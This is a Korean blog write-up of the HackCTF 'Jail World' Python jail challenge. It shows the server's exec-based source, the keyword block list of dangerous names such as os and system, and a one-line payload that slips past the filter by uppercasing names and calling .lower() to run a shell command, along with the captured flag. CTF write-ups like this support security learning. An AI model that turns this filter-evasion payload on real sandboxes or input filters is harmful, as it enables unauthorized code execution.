728x90
1. 문제
1) 문제 확인
╰─$ nc ctf.j0n9hyun.xyz 9002 130 ↵
#! /usr/bin/python3
def main():
print(open(__file__).read())
print("Welcome to Jail World!")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Filtered Keyword.")
return;
else:
exec(text)
if __name__ == "__main__":
main()
저번 csaw인가 거서 처음 jail break를 봤었다. 필터링을 통과해서 쉘을 실행시키면 된다
2. 접근방법
파이썬에서 기본적으로 len, type 같은 모듈들은 import를 해주지 않아도 사용가능하다. 이는 내장함수인 builtin 때문엔데, dir(__builtins__)
으로 확인가능하다.
결국, 빌드인으로 import를 가져오고,
import os
os.system('cat flag')를 조지면 된다. 또한 필터링은 우회하기 위해 대문자로 쓰고 lower를 이용해야한다.
3. 풀이
__builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")
def main():
print(open(__file__).read())
print("Welcome to Jail World!")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Filtered Keyword.")
return;
else:
exec(text)
if __name__ == "__main__":
main()
Welcome to Jail World!
>>> __builtins__.__dict__["__IMPORT__".lower()]("OS".lower()).__dict__["SYSTEM".lower()]("cat flag")
HackCTF{Y0u_4re_th3_re4l_j4ilbr34k3r!}
4. 몰랐던 개념
728x90
'워게임 > HackCTF' 카테고리의 다른 글
[HackCTF] childfsb (0) | 2021.02.24 |
---|---|
[HackCTF] BabyMips (0) | 2020.12.04 |
[HackCTF] static (0) | 2020.12.03 |
[HackCTF] keygen (0) | 2020.12.02 |
[HackCTF] strncmp (0) | 2020.12.01 |
Uploaded by Notion2Tistory v1.1.0